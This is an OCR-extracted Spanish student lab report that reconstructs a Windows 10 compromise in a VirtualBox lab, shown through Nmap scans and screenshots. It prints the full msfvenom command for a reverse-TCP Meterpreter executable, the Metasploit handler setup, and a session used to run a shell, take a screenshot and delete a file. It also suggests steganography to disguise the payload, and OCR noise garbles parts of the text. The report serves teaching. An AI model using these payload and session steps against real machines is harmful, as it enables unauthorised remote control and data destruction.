Memoria base: ' :

4MB 14336 MB

Procesadores: '

1CPU
[[] Habilitar EFI (sdlo SO especiales)

Ayuda Anterior Siguiente Cancelar 7

llustracion 6 Asignacion de espacio en disco duro Windows 10

¥# Crear maquina virtual ? X

Disco duro virtual

Si lo desea puede afiadir un nuevo disco duro vitual a la nueva maquina. Puede crear un nuevo archivo de disco
duro o seleccionar uno existente, De forma alternativa puede crear una maquina virtual sin un disco duro virtual.

(® Crear un disco duro virtual ahora

Tamaﬁodedi_sco:ll““I““"‘“““ 15,81GB

4,00 MB 2,00TB
|:] Reservar tamanio completo
(O Usar un archivo de disco duro virtual existente
HackerHouse_MarianaMonsalve_Kali. vdi (Normal, 16,43 GB)

(O No afiadir un disco duro virtual

Ayuda Anterior Cancelar
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[lustracion 7 Proceso de instalacion Windows 10

é] Programa de instalacién de Windows

Instalando Windows

Estado

'/’ Copiande archivos de Windows
Preparando archivos para instalacién (66%)
Instalando caracteristicas
Instalando actualizaciones
Acabando

llustracion 8 Pantalla de inicio Windows 10 sin seguridad

%8 O Escribe aqui para buscar. b3 ﬁ O & e & a S A BT ‘*32172!;1 %)
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Conexion de las dos maquinas virtuales

llustracion 9 Conexidon entre maquinas virtuales

marianamonsal lve@kaliMMonsalve: ~

Archivo Acciones Editar Vista Ayuda 4 Simbolo del sistema

— 192.168.0.10
PING 192.1i 0.10 (192.168.0.10) 56(84) bytes of data.
P

"
e e e T LY

La asignacion de varios nucleos de CPU a una maquina virtual en este caso permite
gue esta utilice multiples hilos de ejecucion simultaneamente, lo que puede acelerar

la velocidad de procesamiento y mejorar el rendimiento general delsistema.
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Tabla 1 Herramientas utilizadas

Principales
Herramienta | Descripcién Caracteristicas
Ventajas
Facilita la
Una distribucion
ejecucion  de
deLinux Amplia gama de
. pruebas de
especialmente herramientas
disefiad _ seguridad,
Isenada para| preinstaladas, soporte
Kali Linux ofrece una
pruebas de| de hardware diverso,
o plataforma
penetracion y actualizaciones
integral  para
seguridad frecuentes.
pruebas de
informatica.
penetracion.
Un marco de Permite
explotacion  que| Exploitsl, payloads y identificar  y
proporciona modulos de | explotar
un conjuntode postexplotacion, vulnerabilidade
Metasploit

herramientas para
pruebas de

penetracion y

seguridad.

automatizacion de
tareas, integracion con

otros sistemas.

s, simplifica la
administracion
de pruebas de

penetracion.
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Ayuda a

descubrir
Una herramienta | Escaneos de puertos y | dispositivos
de escaneo de red | servicios, deteccion de y
para descubrir | sistemas operativos, | servicios en
Nmap
hosts y servicios, | scripts de redes, brinda
y evaluar_ La deteccion informacion
sequridad deredes. | personalizados sobre la
configuracion
de seguridad.
Msfvenom Una herramienta | Creacion de payloads | Facilita la

La generaciénde
payloads y exploits

personalizados.

ofuscados, generacion

de exploits:

personalizados,

diversidad de formatos

de salida.

creacion de

malware y

payloads2 para
pruebas de
penetracion,
permite
adaptarse a

situaciones.
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Tabla 2 Informacion esencial para el ataque

Parte del Texto

Descripcién

Fallo de Seguridad

Especifico

Descripcion de la

La organizacion
HackerHouse encontré que

uno de sus equipos de

Compromiso del sistema

Situacion operativo.
computo con Windows 10
X64 fue comprometido.
Un archivo .txt con cierto
Archivo .txt | formato en el escritorio Posible eliminacién o robo

Desaparecido

desaparecio después de la

intrusion.

de archivos.

Archivo

PoC 52768545.exe

Un archivo con nombre
PoCseminario.exe fue
descargado y ejecutado en el

equipo afectado a través de

WhatsApp Web.

Descargay ejecucion de un

archivo malicioso.

Caracteristicas del

Equipo

El equipo tenia Windows 10 a

64 bits, con sistemas de
seguridad desactivados y un
archivo de texto en el

escritorio.

Desactivacion de sistemas
de seguridad y presenciade
archivos en ubicaciones

sensibles.
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En el contexto planteado, la descarga y ejecucion del archivo PoC_52768545.exe
en el equipo afectado a través de WhatsApp Web representa la vulnerabilidad mas
critica. Esta accion conlleva riesgos significativos debido a la posibilidad de alojar
malware y software malicioso, capaz de dafiar o comprometerel sistema y los datos
almacenados. Ademas, la falta de verificacion en la ejecucion del archivo, la
desactivacion total de los sistemas de seguridad, incluidos el firewall, Windows
Defendery el antivirus, y el potencial para la intrusién y la explotacion deinformacion

confidencial subrayan la gravedad de esta infraccion.

La combinacién de estos factores ilustra una violacién alarmante de la
seguridad informatica, destacando la importancia de la conciencia de los usuarios y
la implementacion de practicas de seguridad solidas para evitar consecuencias

perjudiciales como la pérdida de datos y la infiltracion en la red de la organizacion.
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1. HERRAMIENTA UTILIZADA PARA PODER IDENTIFICAR

LOS FALLOS

llustracion 1 Logo NMAP

Nota: Logo de NMAP. Tomado de: https://play-

Ih.googleusercontent.com/XIEWMzQADNODUFWI4]DJIpcUMZ I5a9wKVzOEXZ8hH

7zvYaN pXUzH-fcbAp3RTrPs18
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Tabla 3 Nmap

Caracteistica

Descripcion

Nombre

Nmap (Network Mapper)

Resumen

Nmap es una herramienta de codigo abierto utilizada
para llevar a cabo escaneos en redes y detectar tanto
dispositivos como servicios presentes en la misma.
Esta aplicacion posibilita a profesionales de
seguridad y administradores de sistemas la
evaluacion de la topologia de la red, la identificacion
de maquinas activas y la revelacion de puertos

abiertos.

Funcionalidades

Destacadas

- Exploracién de puertos TCP, UDP y SCTP
- Identificacion de sistemas operativos

- Escaneo rapido y eficaz

- Exploracién de grupos de direcciones IP

- Paralelizacion de escaneos de hosts y

puertos

- Generacion de informes detallados
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Aplicaciones

Nmap es comunmente utilizado para:

Comunes -Descubrir equipos activos en redes
-Detectar puertos abiertos y servicios en sistemas
-Analizar la seguridad de redes
-Realizar escaneos en redes locales y externas
- Evaluar la exposicion de sistemas y servicios a
posibles ataques
Ventajas -Facilita la localizacion de dispositivos y servicios

Significativas

- Facilita la deteccion de vulnerabilidades en
sistemas
- Suministra informacion relevante para la
configuracion de seguridad

- Facilita a administradores la toma de

medidas

preventivas para reforzar la seguridad de la red

Referencia FYODOR. Nmap Network Scanning: The
- . Official Nmap Project Guide. Insecure.Com LLC,
Bibliogréfica
2000.-
Sitio Web WWW.nmap.org
Oficial
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6.1 ¢ QUE PUERTO ABRE LA APLICACION ESPECIFICA EN EL

ANEXO?

El puerto 443, fundamental en la comunicacion web, opera para el trafico seguro
HTTPS, empleando el protocolo HTTP con encriptacion SSL/TLS para salvaguardar
la informacioén entre navegadores y plataformas en linea. Este acceso abierto resulta
esencial en actividades como transacciones financieras y autenticacion en la web.
Su cierre podria limitar servicios seguros, afectando transacciones y navegacion,

pero su vulnerabilidad se evita con encriptacion SSL/TLS.

La significativa funcion del puerto 443 radica en el trafico HTTPS, garantizando
seguridad en la transferencia de informacion entre navegadores y plataformas
mediante encriptacion SSL/TLS. Su acceso constante es clave en transacciones y
autenticacion en linea, mientras su cierre restringiria servicios seguros. La

vulnerabilidad potencial se enfrenta con medidas de encriptacion
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2.

COMO AFECTA EL ATAQUE A LA MAQUINA (WINDOWS

10 X64)

Tabla 4 Posibles afectaciones del ataque

Payload
Parte Afectada | Descripcidn Gravedad
Utilizado
Un ataque exitoso podria
Sistema permitir el acceso no autorizado | Reverse TCP
Alta
Operativo al sistema operativo Windows Meterpreter
10 x64.
El atacante podria acceder,
Datos exfiltrar o alterar informacion Reverse HTTPS
Alta
Confidenciales | confidencial almacenada en la | Meterpreter
méaquina comprometida.
El atacante podria obtener
control total sobre la maquina,
incluyendo la capacidad de Reverse HTTP
Control Remoto Muy Alta
ejecutar comandos, instalar Meterpreter

software malicioso 0 manipular

archivos.
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Persistencia

El ataque podria permitir que el
atacante mantenga acceso
constante a la maquina incluso

después de reinicios.

Reverse TCP
Meterpreter con

persistencia

Muy Alta

2.1 HERRAMIENTAS PARA BUSCAR VULNERABILIDADES

192.168.0.12/24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-18 15:20 -05

Nmap scan report for 192.168.0.1
Host is up (0.0024s latency).

Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

23/tcp open telnet

80/tcp open http

443/tcp open https

5000/tcp open upnp

8081/tcp filtered blackice-icecap
8082/tcp filtered blackice-alerts

Nmap scan report for 192.168.0.2

Host is up (0.027s latency).

Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE

8000/tcp open http-alt

9010/tcp open sdr

Nmap scan report for 192.168.0.4
Host is up (0.011s latency).

Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
9080/tcp open glrpc

Nmap scan report for 192.168.0.6

Host is up (0.0042s latency).

Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE

8001/tcp open vcom-tunnel

8002/tcp open teradataordbms

8080/tcp open http-proxy

9080/tcp open glrpc

Nmap scan report for 192.168.0.10

Host is up (@0.0046s latency).

Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE

6668/tcp open 1irc

Nmap scan report for 192.168.0.11

Host is up (0.00089s latency).

Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open microsoft-ds

54




Antes de iniciar el ataque y para tener un norte claro se usoé la herramienta Nmap y
por medio de un escaneo de puertos con el comando nmap <ip/rango> entoda la
red para ubicar el computador a atacar. El comando anterior lo que hace es ejecutar
toda la red y encontrar las IP’'S que estan conectadas mostrando lospuertos

abiertos.

= = 192.168.0.12
tarting Nmap 7.93 ( https://nmap.org ) at 2023-08-1f
: Loaded 155 scripts for scanning.
: Script Pre-scanning.
Initiating NSE at 15:43
ompleted NSE at 15:43, 0.00s elapsed
Initiating NSE at 15:43
Completed NSE at 15:43, 0.00s elapsed
Initiating NSE at 15:43
ompleted NSE at 15:43, 0.00s elapsed
Initiating Ping Scan at 15:43
[Scanning 192.168.0.12 [2 ports]
ompleted Ping Scan at 15:43, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:43
ompleted Parallel DNS resolution of 1 host. at 15:43, 0.09s elapsed
Initiating Connect Scan at 15:43
[Scanning 192.168.0.12 [1000 ports]
Discovered open port 445/tcp on 192.168.0.12
Discovered open port 139/tcp on 192.168.0.
Discovered open port 135/tcp on 192.168.0.12
ompleted Connect Scan at 15:43, 2.30s elapsed (1000 total ports)
Initiating Service scan at 15:43
[Scanning 3 services on 192.168.0.12
ompleted Service scan at 15:43, 6.03s elapsed (3 services on 1 host)
SE: Script scanning 192.168.0.12.
Initiating NSE at 15:43
5.12s elapsed

Initiating NSE at 15:43
ompleted NSE at 15:43, 0.00s elapsed
map scan report for 192.168.0.12
ost is up (0.00044s latency).
ot shown: 997 closed tcp ports (conn-refused)
STATE SERVICE VERSION
open msrpc Microsoft Windows RPC
open netbios-ssn  Microsoft Windows netbios-ssn
open microsoft-ds?
Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

ost script results:
| _clock-skew: -7ml18s
: NetBIOS name: WIN1OMARIANAMON, NetBIOS user: <unknown>, NetBIOS MAC: 080027c32c16 (Oracle VirtualBox virty

WIN1OMARIANAMON<20> Flags: <unique><active>

WIN1OMARIANAMON<@®> Flags: <unique><active>

WORKGROUP<00> Flags: <group><active>

WORKGROUP<1e> Flags: <group><active>
smb2-time:

date: 2023-08-18T720:35:56

Después de identificar la IP a atacar se hace un escaneo mas profundo con los
comando -A para la deteccion del sistema operativo, deteccién de versiones de
servicios, deteccién de scripts y se complementa con el comando -v para que sea
detallado. En lo anterior encontramos el sistema operativo, el nombre de la maquina
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los puertos con su respectiva version. Ya con esta informacién se puede iniciar la

creacion del payload.

56



2.2 RECONSTRUCCION DEL CASO

B O Escibe aqui para buscar, O =i e n Rowc AW G1".43l’M o

En la imagen anterior se observa el archivo .txt mencionado en el caso de estudio
que es llamado: “MarianaMonsalve 52768545 18082023 Etapa3.txt” y se

encuentra en el escritorio de la victima.

7 Marana! Monsaive_52760545_10032023_Eraped: Bloc de notas
Archivo Edicion Formsto Ver Ayuds
i lve
€.€.52.768.545
fecha:18 de Agosto del 2023

100%  Windows [CRLF)

F - = 44 PV
3 O EBsoibe aqui para buscar, o & € = I B ousp. ATEW g T



El archivo de la victima contiene informacién referente a mi nombre, mi nimero de
documento y la fecha de realizacion del ataque. Esta informacion se agrega solo

con fines educativos y para no dejar el archivo en blanco.

Niempk s

Archivo Acciones Editar Vista Ayuda

B o 8 E @& cm erecia

En la imagen anterior se muestra la maquina virtual con el sistema operativoKali
Linux y la consola de la aplicacién metasploit que sera la utilizada para la presente

actividad.
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mst6 > mstvenom -p windows/x64/meterpreter/reverse_tcp —platform windows -a x64
>> /home/marianamonsalve/Documentos/PoC_52768545.exe
exec: msfvenom -p windows/x64/meterpreter/reverse_tcp —platform windows -a x64 LHOST=192.168.0.11 LPORT=443 -f
exe >> /home/marianamonsalve/Documentos/PoC_52768545.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.

No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

msf6 > i

e & i 8@ [ cre perecria

De acuerdo con lo anterior el uso del msfvenom que se usa para crear archivos

maliciosos y se procede a utilizar el comando -p para cargar el payload a utilizar. En

este caso se usa reverse_tcp3. Se indica mediante el comando —platform que es
para Windows y que tiene arquitectura x64 (-a). Por arltimo se asigna el host y el

puerto local siendo estos: 192.168.0.11 y 443 respectivamente.

Lugares
& Equipo .

| marianamonsalve

N PoC_52768545.exe
- Escritorio

@ Recientes

' Papelera
Documentos

Musica
Imagenes
Videos
Descargas
Dispositivos

_E Sistema de arch...

Después de ejecutar el comando anterior se puede observar el ejecutable creado

por medio de metasploit.
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3 Es un tipo de payload que se utiliza en ataques de penetracion. Este payload permite
al atacante establecer una conexion desde la maquina comprometida hacia el atacante,

en lugar de que el atacante establezca una conexion directa hacia la maquina

comprometida.

Marianavion:

251PM

= O Buscar m 4 O &i e " » [ﬁ Récord maximo A O I 4) 8182003 % ‘

En esta imagen ya se puede evidenciar el ejecutable en el computador de lavictima.
Segun lo mencionado en el caso de estudio se pasé por WhatsApp por medio de la
conversacion con un amigo. En esto punto en lo personal para un ataque menos
sospechoso recomendaria usar esteganografia para “camuflar” el ejecutable dentro
de una imagen o usar otra herramienta adicional para cambiar laforma visual del
ejecutable y pase inadvertido. En este punto para pasar el archivode una maquina

a otra utilicé samba para crear una red compartida.
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msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.0.11
lhost = 192.168.0.11
) > set lport 443

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.11:443
Sending stage (200774 bytes) to 192.168.0.12
Meterpreter session 1 opened (192.168.0.11:443 — 192.168.0.12:50348) at 2023-08-18 14:56:23 -0500

meterpreter > dir
Listing: C:\Users\vboxuser\Desktop

Type Last modified Name
fil 13: MarianaMonsalve_52768545_18082023_Etapa3.txt
fil 2 14: PoC_52768545.exe

100666/rw P fil 22:29: desktop.ini

meterpreter > JJ

Antes de observar la ejecucion del archivo se crea el exploit para recibir y hacer el
puente entre la maquina que ejecuta el archivo y el que recibe la informacion. Para
eso sincronizamos los puertos y la IP a la cudl llegara lainformacién y su respectivo

puerto.

Después de ejecutar el archivo en la maquina de la victima se puede observarel inicio

de sesidn desde el computador atacante y los archivos que estan en el escritorio.

meterpreter > shell

Process 1892 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19045.2006]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\vboxuser\Desktop>1ls

1s

"1s" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\vboxuser\Desktop>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: A052-43BE

Directorio de C:\Users\vboxuser\Desktop

08/18/2023 02:47 PM <DIR>
08/18/2023 02:47 PM <DIR> !
08/18/2023 ©01:41 PM 61 MarianaMonsalve_52768545_18082023_Etapa3.txt
08/18/2023 ©02:00 PM 7,168 PoC_52768545.exe
2 archivos 7,229 bytes
2 dirs 2,271,494 ,144 bytes libres

C:\Users\vboxuser\Desktop>[}

En esta imagen se observa el uso del comando Shell cuya funcién es crear una
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linea de comandos sobre el computador vulnerado. En este item nos ubica enel
desktop y con el comando DIR se puede observar que existe un archivo .txt y el

ejecutable creado.

meterpreter > sysinfo
Computer : WIN1OMARIANAMON

0S : Windows 10 (10.0 Build 19045).
Architecture 1 X64
System Language : en_US

Domain : WORKGROUP
Logged On Users : 2
Meterpreter : X64/windows
meterpreter > |j

Otro comando que se puede utilizar es sysinfo, este permite mostrar informacion
relevante del equipo atacado como el sistema operativo, el lenguaje delsistema, la

arquitectura, los usuarios logados.

Yahsv|peg

Un comando interesante de meterpreter es: screenshot que hace referenciaa tomar
un pantallazo donde esté ubicado el computador victima. Es decir, en estapractica
el computador victima se encontraba en el escritorio y al ejecutar este comando en

la parte derecha de la imagen se observa la creacion del screenshot.
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Esta es laimagen ampliada del pantallazo que se tomd. En la imagen anteriorse
observa que desde la maquina atacante (Kali Linux) se esta observando el

screenshot de la maquina vulnerada.

meterpreter > shell

Process 6764 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19045.2006]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\vboxuser\Desktop>1ls

no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\vboxuser\Desktop>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: AB52-43BE

Directorio Users\vboxuser\Desktop

PM <DIR>
PM <DIR> S
PM 61 MarianaMonsalve_52768545_18082023_ Etapa3.txt
PM 7,168 PoC_52768545.exe
2 archivos 7,229 bytes
2 dirs 1,908,310,016 bytes libres

C:\Users\vboxuser\Desktop>rm MarianaMonsalve_52768545_18082023
rm MarianaMonsalve_52768545_18082023_Etapa3.txt

"rm" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\vboxuser\Desktop>[]
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Volviendo al comando Shell y como ya estabamos ubicados en la carpeta “Desktop”
solo procedemos a ejecutar el comando “del” que sirve para eliminar archivos en

Windows. Este comando se acompafia del nombre del archivo y se ejecuta.

a2 o - v ls _ 3:09P
=® O Buscar m 4 (@] =11 e [ a 29°C Parc.soleado A O F1 Q) 8,10832;

Como se observa en la imagen anterior desde el equipo victima el archivo.txt

desaparecio, lo cual indica que el ataque fue exitoso.
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5. CONCLUSIONES

La ciberseguridad en las empresas es un campo técnico en constanteevolucion.
Las empresas deben adoptar una postura técnica sélida para protegersede las
amenazas cibernéticas. La deteccion y prevencion de amenazas, la autenticacion
y el control de acceso, el cifrado de datos, la respuesta a incidentes yla seguridad

en dispositivos son aspectos clave de esta defensa técnica.

La inversion en tecnologias y practicas de ciberseguridad no solo es una medida
preventiva, sino una inversion en la sostenibilidad y la resiliencia de la empresa en
un entorno digital que evoluciona constantemente. La colaboracién entre equipos
de seguridad de la informacién, expertos en redes y profesionales de la

ciberseguridad es esencial para garantizar una defensa técnica eficaz.

Las politicas de seguridad son documentos que establecen directrices y
procedimientos para mantener la integridad, la confidencialidad y la disponibilidad
de la informacion. Su importancia radica en su capacidad para proporcionar una
base solida sobre la cual se construyen las medidas técnicas. Estas politicas no
solo definen los estandares de seguridad, sino que también establecen expectativas

claras para los empleados y otros usuarios.

Las politicas de seguridad se convierten en la columna vertebral de la
ciberseguridad empresarial. Al requerir contrasefias fuertes y cambios regulares
(con referencia a las recomendaciones del NIST), se establece una barrera inicial
gue dificulta el acceso no autorizado a los sistemas. La politica de acceso define

quién puede acceder a los recursos, lo que asegura que solo las personas
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autorizadas tengan privilegios. Estas politicas actian como guias que ayudan a

moldear la implementacion técnica.

Las politicas de seguridad deben ser respaldadas por medidas técnicas sélidas. La
deteccidon temprana de amenazas a través de sistemas IDS/IPS y la aplicacion de
parches y actualizaciones regulares (siguiendo el ejemplo de Symantec) son
practicas técnicas directamente alineadas con las politicas de seguridad. La
criptografia de datos (en linea con la recomendacion de Schneier) esuna solucién

técnica que protege la confidencialidad, cumpliendo con las politicas de seguridad.

La respuesta a incidentes, un proceso técnico fundamental, se apoya en laspoliticas
de seguridad al establecer procedimientos documentados para la identificacion y
mitigacion de amenazas. La implementacidon de soluciones de gestion de
dispositivos y la segmentacion de red (en linea con Cisco) respaldan la politica de
control de dispositivos al garantizar que solo los dispositivos autorizadostengan

acceso.
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